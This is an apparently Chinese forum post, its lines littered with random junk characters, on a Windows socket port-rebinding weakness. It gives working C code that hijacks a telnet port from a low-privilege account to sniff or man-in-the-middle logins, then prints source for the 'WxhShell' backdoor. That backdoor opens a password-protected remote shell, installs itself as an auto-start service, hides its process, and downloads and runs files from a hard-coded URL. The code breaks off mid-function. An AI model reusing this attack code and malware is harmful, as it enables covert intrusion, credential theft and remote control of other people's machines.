在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ei
rzYt s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bT&: fHc W3iZ|[E; saddr.sin_family = AF_INET;
_6wFba@>/n }N*_KzPIa saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}<dRj ~i `>adJ: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
f%V4pzOc" }!6\|;Qsz, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?2>FdtH B, 9w0 这意味着什么?意味着可以进行如下的攻击:
\?je Wyo WD1G&5XP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,Jd
',>3 W^s
;Bi+Nw 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)n ,P"0 zA[0mkC?$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
% rxO_ H/Llj.-jg 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
g&`pgmUX fJ ,1Ef;Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=9j8cC5y _)\c&.p]f 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
s>^dxF!+ e[8LmuIZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
u?9" jX !%c'$f/ #include
.-<k>9S7_ #include
IKi5 v~bE #include
B9wPU1 #include
8cA~R- DWORD WINAPI ClientThread(LPVOID lpParam);
X=>=5' int main()
%*\es7m} {
S%Us5`sd WORD wVersionRequested;
Ps 8%J; DWORD ret;
A,`8#-AX WSADATA wsaData;
lEV]4
t_H BOOL val;
9-rNw?7 SOCKADDR_IN saddr;
0=K9`=5d0 SOCKADDR_IN scaddr;
rta:f800z int err;
-N"&/) SOCKET s;
1|ra&(=) SOCKET sc;
mdw7}%5V int caddsize;
z(H^..<!5 HANDLE mt;
_%GGl$kH DWORD tid;
/IsS;0K%L wVersionRequested = MAKEWORD( 2, 2 );
i@4~.iZ8 err = WSAStartup( wVersionRequested, &wsaData );
?2oHZ%G if ( err != 0 ) {
k2AJXw printf("error!WSAStartup failed!\n");
lIProF0 return -1;
#es9d3~\ }
[w -l? saddr.sin_family = AF_INET;
KjQR$- v.]Q$q^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
l\s U C[%OkPR,H saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V<j.xd7 saddr.sin_port = htons(23);
#H0dZ.$b0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
65Cg]Dt71 {
R~ZFy0 printf("error!socket failed!\n");
mL4] l(U return -1;
J2^'Xj_V }
_N@ro val = TRUE;
2"B _At //SO_REUSEADDR选项就是可以实现端口重绑定的
n+PzA[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'z[Sp~I\ {
SGe^ogO"v printf("error!setsockopt failed!\n");
3Oi
nK[' return -1;
{\(L%\sV@ }
]GRWnif //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3.qTLga|} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
d,=r9. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
q5#J~n8Wr ma((2My'H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
B:+6~&,- {
O/<K!;(@? ret=GetLastError();
|JVk&8
?8 printf("error!bind failed!\n");
FD8N"p return -1;
|Z*J/v'@p }
_-#'j2 listen(s,2);
ka3u&3" while(1)
;]pJj6J&v {
D`VM6/iQR caddsize = sizeof(scaddr);
ph-ATJ" //接受连接请求
PZ*pQ=` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%Jrt4sg[j- if(sc!=INVALID_SOCKET)
67VT\f {
di>cMS 4 c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
L*~J%7 if(mt==NULL)
xa
pq*oj {
1Tm^ printf("Thread Creat Failed!\n");
T16{_ break;
:at$HCaK }
x(eb5YS }
GPGm]G t CloseHandle(mt);
4A2?Uhpy }
YE9,KVV;$n closesocket(s);
dtcIC0:[ WSACleanup();
pb=cBZ$ return 0;
7__Q1>o }
$]A/
o( DWORD WINAPI ClientThread(LPVOID lpParam)
uECsh2Uin {
Gqy,u3lE SOCKET ss = (SOCKET)lpParam;
yfC^x%d7G SOCKET sc;
1hziXC0WY unsigned char buf[4096];
th&[Nt7 SOCKADDR_IN saddr;
;asP4R= long num;
QJ7L7S DWORD val;
}~Af/ DWORD ret;
/)>s##p* //如果是隐藏端口应用的话,可以在此处加一些判断
[NTtz
<i@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
WuZ/C_ saddr.sin_family = AF_INET;
w18y}mS"H saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.k0~Vh2u saddr.sin_port = htons(23);
A21N|$[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YR;^hs? {
<E0UK^-} printf("error!socket failed!\n");
|USX[jm\ return -1;
1 %,a =,v }
b/Xbs0q val = 100;
ME=/|.}D< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Vl2XDkhq {
Rh>}rGvCUN ret = GetLastError();
Ey4z.s'-l return -1;
V@\%)J'g }
@`,1: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-%I2[)F< {
B0ndcB- ret = GetLastError();
QQV~?iW{~ return -1;
izx#3u$P }
37RLE1Yf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"|HDGA5 {
HuVJ\%. printf("error!socket connect failed!\n");
]7/
b/J closesocket(sc);
@-&s: Qli closesocket(ss);
7ek&[SJ>,/ return -1;
MG{YrX) oi }
ubmrlH\d while(1)
fa<v0vb+ {
eEn;!RS) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@S7sr- //如果是嗅探内容的话,可以再此处进行内容分析和记录
NMi45y(Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bcZf>:gVf num = recv(ss,buf,4096,0);
,DZX$Ug~+E if(num>0)
leQT-l2Bk send(sc,buf,num,0);
59Gk3frk( else if(num==0)
B.L]Rk\4 break;
b? j< BvQ num = recv(sc,buf,4096,0);
U2%.S&wS,e if(num>0)
-Fn}4M send(ss,buf,num,0);
dzkw$m^@^ else if(num==0)
0]jA<vLR break;
p}<w#p
| }
~jb"5CX closesocket(ss);
]J#9\4Sq closesocket(sc);
vC5n[0 return 0 ;
i}~SDY }
nYJTKU
J;prC @ G4X ==========================================================
+Lnsr\BA ku..aG` 下边附上一个代码,,WXhSHELL
D91e\|] 3q?\r`
a ==========================================================
+L5\; e0$=!QlPr #include "stdafx.h"
=dx1/4bZl| !XzF67 #include <stdio.h>
%/rMg"f: #include <string.h>
V._(q^ #include <windows.h>
Ii:>xuF& #include <winsock2.h>
j6g[N4xr #include <winsvc.h>
A mwa) #include <urlmon.h>
%~QO8q_7 LbII?N8`N #pragma comment (lib, "Ws2_32.lib")
/P
2[:[w #pragma comment (lib, "urlmon.lib")
)<xypDQ i:l<C #define MAX_USER 100 // 最大客户端连接数
":nQgV\9 #define BUF_SOCK 200 // sock buffer
$*W6A/%O #define KEY_BUFF 255 // 输入 buffer
CV{r5Sye 1=]kWp`i #define REBOOT 0 // 重启
0Ld@H) #define SHUTDOWN 1 // 关机
Kn?lHH*w7
-!\fpl{ #define DEF_PORT 5000 // 监听端口
VnT>K9&3 SnYLdwgl #define REG_LEN 16 // 注册表键长度
H&yD*@ #define SVC_LEN 80 // NT服务名长度
G5FaYL.7 ZKdeB3D // 从dll定义API
gp-T"l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
QL$S4 J" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%xQ.7~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.WQ+AE8Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.uE Pnzi 8j4z{+'TQ // wxhshell配置信息
1c@}C+F+ struct WSCFG {
=GXu 5 8 int ws_port; // 监听端口
aIXdV2QS char ws_passstr[REG_LEN]; // 口令
)$Z=t-q int ws_autoins; // 安装标记, 1=yes 0=no
$:of=WTY( char ws_regname[REG_LEN]; // 注册表键名
8#D:H/`' char ws_svcname[REG_LEN]; // 服务名
A?*o0I char ws_svcdisp[SVC_LEN]; // 服务显示名
^xZ
e2@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
v-! u\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
c c int ws_downexe; // 下载执行标记, 1=yes 0=no
=-o'gL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ea(,aVlj char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~RD+.A aSP4a+\* };
YKa0H%B( kHv[H]+v // default Wxhshell configuration
"p3_y`h6+ struct WSCFG wscfg={DEF_PORT,
9TAj) {U%' "xuhuanlingzhe",
v{<[)cr 1,
P5gN #G "Wxhshell",
[+Y{%U "Wxhshell",
]LZ`LL'#Y_ "WxhShell Service",
k;5P om "Wrsky Windows CmdShell Service",
[0UGuj "Please Input Your Password: ",
eVl'\aUd 1,
J/6`oh?,Q "
http://www.wrsky.com/wxhshell.exe",
:ZDMNhUl
& "Wxhshell.exe"
AE@NOM7u };
Urgtg37 5IKL#V`3a // 消息定义模块
Ux2U*a; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
b5:op@V char *msg_ws_prompt="\n\r? for help\n\r#>";
wl1m*`$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Yh)Isg|0> char *msg_ws_ext="\n\rExit.";
NS C/@._ char *msg_ws_end="\n\rQuit.";
"<i SZ char *msg_ws_boot="\n\rReboot...";
CD0VfA>Z char *msg_ws_poff="\n\rShutdown...";
)RsM!} char *msg_ws_down="\n\rSave to ";
Xe+,wW3YF 5TUNX^AW char *msg_ws_err="\n\rErr!";
s9oO%e< char *msg_ws_ok="\n\rOK!";
LG]3hz9^9 &5t :H 8b char ExeFile[MAX_PATH];
%5\3Aw int nUser = 0;
[= "r<W0 HANDLE handles[MAX_USER];
wLV~F[:
int OsIsNt;
` rm?a0 B[9 (FRX SERVICE_STATUS serviceStatus;
<:|3rfm# SERVICE_STATUS_HANDLE hServiceStatusHandle;
tU/k-W3X KTEZ4K^o= // 函数声明
ggb|Ew int Install(void);
$c&0F, int Uninstall(void);
a8AYcEb int DownloadFile(char *sURL, SOCKET wsh);
yA[({2% int Boot(int flag);
B ZMu[M void HideProc(void);
`)4a[thp int GetOsVer(void);
n,O5".aa< int Wxhshell(SOCKET wsl);
=xianQ<lK void TalkWithClient(void *cs);
M|io4+sy int CmdShell(SOCKET sock);
l =IeJh int StartFromService(void);
*V k ^f+5 int StartWxhshell(LPSTR lpCmdLine);
0D~ C
5}/4 tD$lNh^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2-0$FQ@/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
c6Q(Ygc
Ejq#~Zhr! // 数据结构和表定义
kVS?RHR SERVICE_TABLE_ENTRY DispatchTable[] =
23DJV);g8 {
s0hBbL0DH {wscfg.ws_svcname, NTServiceMain},
;o<m}bGaT {NULL, NULL}
Tx%VU8\?n };
6*@yE Vga-@ // 自我安装
2yo
cu!4l int Install(void)
(ozb%a#B {
O3NWXe< char svExeFile[MAX_PATH];
[t0rfl{. HKEY key;
;pRcVL_4 strcpy(svExeFile,ExeFile);
T{vR, iwY'4Z
e // 如果是win9x系统,修改注册表设为自启动
$(q>mg:H if(!OsIsNt) {
y 0ckm6^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P|jF6?C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jQj,q{eA RegCloseKey(key);
E&~nps8e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
giavJ| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<JI&
{1 RegCloseKey(key);
1MA@JA:T return 0;
G.U5)4_^ }
4-v6=gz. }
5 ZfP }
Me:{{-V4 else {
?PPZp6A3L= v@EQ^C2.& // 如果是NT以上系统,安装为系统服务
yy(A(} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
bb=uF1 if (schSCManager!=0)
F#+ .>!
{
Ey&aBYR SC_HANDLE schService = CreateService
HT`1E0G8) (
oYM,8 K schSCManager,
>E"9*:.^a wscfg.ws_svcname,
u2sR.%2U< wscfg.ws_svcdisp,
rU#li0
> SERVICE_ALL_ACCESS,
mxqG-*ch- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?n'OF pd SERVICE_AUTO_START,
%kU'hzLg SERVICE_ERROR_NORMAL,
q9}m!*8e svExeFile,
eK`PxoTI-I NULL,
`EMi0hm&H NULL,
*i<\iMoW NULL,
S-Ai3)t6 NULL,
I+,SZ]n NULL
$EBb"+Y'T );
Jfg7\&| if (schService!=0)
NO>k {
yFpySvj} CloseServiceHandle(schService);
q^bO*bv CloseServiceHandle(schSCManager);
Ttv9"z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;rBp1[qVe strcat(svExeFile,wscfg.ws_svcname);
5JFV%odo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:%-,Fxl4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/r.6XZs6 RegCloseKey(key);
LP`CS849z2 return 0;
PJ 9%/Nrh }
E20 :uZ7\ }
U w Eiz CloseServiceHandle(schSCManager);
U=!@Db5k~ }
{K7YTLWY }
0rzVy/Z( _ 6:ww/ return 1;
%cW;}Y[?P }
J4yt N3 QB1M3b // 自我卸载
Q_}/ Pn$1 int Uninstall(void)
; Zq/eiB {
}e=e",eAT HKEY key;
5()Fvae{k k90B!kg if(!OsIsNt) {
y(8d?]4:_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&:!ij RegDeleteValue(key,wscfg.ws_regname);
?q%b*Ek RegCloseKey(key);
C+l?k2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HZ\k-!2 RegDeleteValue(key,wscfg.ws_regname);
IL2r9x% RegCloseKey(key);
lfy7w| return 0;
AQ@v>wr} }
NJ$e6$g) }
_bI+QC# }
S;}qLjT else {
If.n(t[M9 |%ZpatZA5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
fS./y=j(X if (schSCManager!=0)
6GKT yN {
$pFk"]= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
f9']
jJ+ if (schService!=0)
6q%ed
UED {
}aZrou3E if(DeleteService(schService)!=0) {
sb'p-Mj CloseServiceHandle(schService);
_pSIJ3O CloseServiceHandle(schSCManager);
FDq{M?6i return 0;
(2%>jg0M }
5\G)Q<A]*L CloseServiceHandle(schService);
]_2yiKv& }
t:9
ZCu ay CloseServiceHandle(schSCManager);
},6*Y*?{ }
J~dTVBx }
o>!JrH N5\{yV21", return 1;
#Wx=v$" }
OROqT~6G ylkqhs& // 从指定url下载文件
d;g-3Pf int DownloadFile(char *sURL, SOCKET wsh)
(9z|a, {
L<)Z> @fR HRESULT hr;
0P9Wy!f7 char seps[]= "/";
"/y|VTV" char *token;
*8206[y char *file;
KW>VOW<. char myURL[MAX_PATH];
"%kGRHq char myFILE[MAX_PATH];
~'[jBn) 3M$X:$b strcpy(myURL,sURL);
X2P``YFV{ token=strtok(myURL,seps);
{_as!5l while(token!=NULL)
b_ JWnh {
Nu+wL>t file=token;
qT0_L token=strtok(NULL,seps);
YZ*{^' }
qvTJ>FILT 9}XT'+`y GetCurrentDirectory(MAX_PATH,myFILE);
L?.7\a@ strcat(myFILE, "\\");
_3U|2(E strcat(myFILE, file);
l4Y1( send(wsh,myFILE,strlen(myFILE),0);
"7?t)FOo send(wsh,"...",3,0);
!VNbj\Bp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O*4gV }:G if(hr==S_OK)
?'f^X$aS return 0;
Yhk6Uog{4 else
2+&R"#I return 1;
r./z,4A` #4q1{)= }
'^B3pR: &vkp?UH // 系统电源模块
f MzYFM'i int Boot(int flag)
y&3TQ]f\ {
%/md"S HANDLE hToken;
kdd7Xbw- TOKEN_PRIVILEGES tkp;
r?afv.@L2 ^#7viZ* if(OsIsNt) {
rr)9Y][l} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Vs|sw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4[xA-
\ tkp.PrivilegeCount = 1;
EaCZx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
cb4b,Ri AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1{7_ `[ if(flag==REBOOT) {
uc\.oG;~q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wmiafBA e return 0;
s79q5 }
@[0jFjK else {
{NY]L==H if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-g<cinNSp return 0;
T7ki/hjRb }
,0FwBK }
=E;
#OZO else {
CHg]U l if(flag==REBOOT) {
o6:45 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+&?'KZ+Z_v return 0;
l&$*}yCK }
H}(=?}+ else {
<
)Alb\Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(Q\\Gw return 0;
at=D&oy4"+ }
?U$}Rsk{# }
Xv8fPP( uH0#rgKt return 1;
E2-ojL[6 }
$u&|[vcP0 &1oaZY w // win9x进程隐藏模块
o;*]1 void HideProc(void)
9ec0^T {
.r(^h/IF h1E
PaL HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
FBcm;cjH if ( hKernel != NULL )
~DK F%}E {
}]tFz}E\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
l~4_s/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|z ]aa FreeLibrary(hKernel);
|}%(6< }
v?FhG
b~1 m&,bC)} return;
#!wsD7; }
9N<*S'Z zLo;.X[Y // 获取操作系统版本
KxGKA int GetOsVer(void)
|x*{fXdMhr {
nD(w @c? OSVERSIONINFO winfo;
<r0.ppgY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
TLXhE(o|o GetVersionEx(&winfo);
hyM'x* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
F
[r|Y-c] return 1;
_`slkwP. else
d\\r_bGW return 0;
Al=(sHc' }
T4Xtuu1 4,gol?a // 客户端句柄模块
=rtS#u
Y int Wxhshell(SOCKET wsl)
yi sF5`+ {
x GwTk SOCKET wsh;
poTl|y @ struct sockaddr_in client;
bkxk
i@t DWORD myID;
-3u@hp_ /rn" while(nUser<MAX_USER)
Gg'<Q.H {
<>SR 4 int nSize=sizeof(client);
Zlr{L]c
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Sb'N]; if(wsh==INVALID_SOCKET) return 1;
U LV)0SB G`9cd\^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\I'f3 if(handles[nUser]==0)
+SAk:3.#CV closesocket(wsh);
"w(N62z/ else
83\o( nUser++;
B>{|'z?%> }
FLVbkW-G. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
PbbXi |= tJ| return 0;
iTj"lA }
UY1JB^J$ YCir Oge // 关闭 socket
dMey/A/VYt void CloseIt(SOCKET wsh)
pp*bqY {
/#:Rd^ closesocket(wsh);
R.91v4J nUser--;
Y')O>C0~ ExitThread(0);
^fFtI?.6jI }
s"pR+)jf1D _!CK // 客户端请求句柄
SPfD2%jjC void TalkWithClient(void *cs)
&oon'q5; {
T@%;0Ro~ R;0W+!fE SOCKET wsh=(SOCKET)cs;
ZMdM_i? char pwd[SVC_LEN];
UOn! Y@ char cmd[KEY_BUFF];
7( yXsVq char chr[1];
}f<fgY int i,j;
[?Mc4uT{ +vSCR(n while (nUser < MAX_USER) {
6 {b%Jfo Wv6z%r< if(wscfg.ws_passstr) {
CP c" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,`ZPtnH+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X_vI0YX9 //ZeroMemory(pwd,KEY_BUFF);
3*CzXK>`M& i=0;
7JxE|G while(i<SVC_LEN) {
#[gcg]6c WF+bN#YJ // 设置超时
1mT|o_K{ T fd_set FdRead;
cmwzKu% struct timeval TimeOut;
34X(J-1\|i FD_ZERO(&FdRead);
f}L>&^I) FD_SET(wsh,&FdRead);
u@GRN`yn TimeOut.tv_sec=8;
nQ:ml TimeOut.tv_usec=0;
*,O
:>Z5I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
v< 65(I> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X{0ax. }}kS~
w-# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
a)I=U[ pwd
=chr[0]; `ENlV9
if(chr[0]==0xd || chr[0]==0xa) { 7V9%)%=h|
pwd=0; nu\
break; wJapGc!
} O\|C,Epm
i++; XV74Fl
} s[0prm5.
G ;PbTsW
// 如果是非法用户,关闭 socket {{^Mr)]5K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ma`
} aHBByH
}V1DyLg:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >XD02A[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +Z 93`
[(D}%+2
while(1) { NZfo`iHAN
1Qp1Es<)
ZeroMemory(cmd,KEY_BUFF); W+#}~2&Dv
H]%mP|
// 自动支持客户端 telnet标准 ?c|`R1D
j=0; lU&`r:1>_
while(j<KEY_BUFF) { "'Q" (S
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kr/1Dsr4
cmd[j]=chr[0]; {u(}ED#p
if(chr[0]==0xa || chr[0]==0xd) { _Sult;y"u
cmd[j]=0; 7F8>w 7Y]
break; ;w^{PZBg
} ..yLtqos
j++; nACKSsWqI
} ZCDcf
Q*]y=Za#:
// 下载文件 E\XD~
if(strstr(cmd,"http://")) { Df0m
send(wsh,msg_ws_down,strlen(msg_ws_down),0); B8 R&Q8Q
if(DownloadFile(cmd,wsh)) bf$4Z: Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Q c>NF0
else wsAijHjJI!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UE
K$
} B2)SNhF2Y
else { CChCxB
%$zX a%A
switch(cmd[0]) { \-RVPa8k
e18}`<tW-
// 帮助 c8M'/{4rH
case '?': { qh/}/Sl;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A IsXu"
break; jfsbvak
} {KM5pK?,BJ
// 安装 Uf<IXx&;
case 'i': { j(];b+>
if(Install()) O"f|gc)GLz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OM#eJ,MH<)
else >l(|c9OWM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W3Dtt-)E
break; Q5/BEUkC
} eC*-/$D
// 卸载 .?;"iv+
case 'r': { wQ~F%rQ$
if(Uninstall()) |f<-lB[k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |9fGn@-
else
d/&~IR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fq#;
break; Qj(|uGqm3
} mNnt9F3Eq
// 显示 wxhshell 所在路径 P |kfPohI=
case 'p': { ip2BvN&
char svExeFile[MAX_PATH]; B&4NdL/
strcpy(svExeFile,"\n\r"); ky|Py
strcat(svExeFile,ExeFile); l|'{Cb
send(wsh,svExeFile,strlen(svExeFile),0); z.]
break; fv?vfI+m
} Sz'JOBp
// 重启 GN@(!V#/4
case 'b': { H\@@iK=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `=VN\W^&
if(Boot(REBOOT)) ~91) DNaE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o+
0"@B
else { Tq`rc"&7u
closesocket(wsh); 4/ M~#
ExitThread(0); :/941?%M
} \1cJ?/$_Of
break; P q)C(Z
} V
j"B/@
// 关机 =RH7 j
case 'd': { c(G;O)ikS
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CJ#1j>
if(Boot(SHUTDOWN)) 3F|#nq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mQy!*0y
else { )TV{n#n
closesocket(wsh); BaUcmF2Q
ExitThread(0); 9_<>#)u5
} QocR)aN=+
break; S1oP_A[|
} !e0~|8
// 获取shell y:+4-1
case 's': { `UDB9Ca
CmdShell(wsh); ( zL(
closesocket(wsh); f=/IwMpn
ExitThread(0); z~y=(T
break; m C&*K
} L!
DK2,
// 退出 5$.e5y<&(
case 'x': { Y}Gf%Xi,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cas5
CloseIt(wsh); N% W298
break; K:\db'``
} POtwT">z
// 离开 /3ty*LQT
case 'q': { !H[K"7w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); QKt[Kte
closesocket(wsh); U#=5HzE
WSACleanup(); 236,o
{9e
exit(1); Tz{f5c&
break; z.%K5vrO>
} />q?H)6
} 3(n+5~{e
} F vt5vQ
(h3f$
// 提示信息 M8HHyV[AmC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e qzmEg
} mM6X0aM
} 'ZboLoS*-
PH]/*LEj
return; #2qDn^s
} py8)e7gX=
(_aM26s
// shell模块句柄 6mAaFDI,R
int CmdShell(SOCKET sock) WMw^zq?hd@
{ {InD/l'v6n
STARTUPINFO si; >.X& v
ZeroMemory(&si,sizeof(si)); 1U(P0$C
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8n1<nS<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rMy(NAo_
PROCESS_INFORMATION ProcessInfo; }>
pNf
char cmdline[]="cmd"; / 80Q
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wYLi4jYm
return 0; n
9X:s?B/
} R@[gkj
ZS\~GQbG
// 自身启动模式 nB .?=eUa
int StartFromService(void) 2:4:Q[{A
{ c> }fy
typedef struct 2#hfBJg@
{ oZCjci-
DWORD ExitStatus; kl0|22"Gz
DWORD PebBaseAddress; 9ER!K
DWORD AffinityMask; V9%!B3Sb
DWORD BasePriority; ) ]
C"r_
